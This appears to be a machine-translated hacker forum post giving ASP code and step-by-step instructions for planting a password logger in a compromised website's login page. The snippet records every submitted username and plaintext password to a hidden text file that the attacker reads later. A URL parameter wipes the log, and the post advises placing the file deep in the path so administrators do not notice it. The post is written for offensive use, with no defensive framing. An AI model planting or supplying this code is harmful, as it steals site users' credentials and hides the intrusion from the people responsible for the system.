A lot of people are depressed when they get a database with a dynamic network (ah, the Administrator's abnormal password makes our machine run completely different)
Now We Have Another Method !!!!! This is to use asp to record the plaintext password.
Usage: 1. Insert this code into the end of the login. asp or admin_login.asp file to verify the login.
2. Change the PATH to an accessible PATH on the web, for example, C: \ Inetpub \ wwwroot \... \ info.txt(the deeper the info.txt PATH, the better, to prevent admin from discovering it)
3. Your webshell must have the permission to modify the file and FileSystemObject is available.
4. Access http: //.../Info.txt on IE after a period of time to view the account password of the logged-on user.
5. On IE, enter http: //.../(which your modified). asp? U=delcan clear the content of info.txt.
Note: 1. You can add other functions for it, such as record-recorded users and email receiving passwords.
2.In order to prevent excessive info.txtsizes, I use the clear info.txt method.
Of course, you can create a new file to solve this problem.
If filesize> 200000 then
Set file2 = fso. OpenTextFile (PATH, 2, True)
File2.WriteLine ""
File2.close
End if
--------------------------------------------------------------------
<%
Dim fso
Dim file
Dim file2
Dim filesize
Dim file3
Set fso = server. createobject ("Scripting. FileSystemObject ")
If Request ("u") = "del" Then
Set file = fso. OpenTextFile (PATH, 2, True)
File. WriteLine ""
End If
If fso. FileExists ("PATH") Then
Set file = fso. OpenTextFile (PATH, 8, True)
Else
Set file = fso. CreateTextFile (PATH)
End if
File. WriteLine "Username:" + Request. form ("Username ")
File. WriteLine "Password:" + Request. form ("password ")
File. close
Set file3 = fso. GetFile (PATH)
Filesize = file3.size
If filesize> 200000 then
Set file2 = fso. OpenTextFile (PATH, 2, True)
File2.WriteLine ""
File2.close
End if
Set file = nothing
Set file2 = nothing
Set filesize = nothing
Set fso = nothing
%>
----------------------------------------------------------------------
By ymqsz
E-mail: ymqsz@tom.com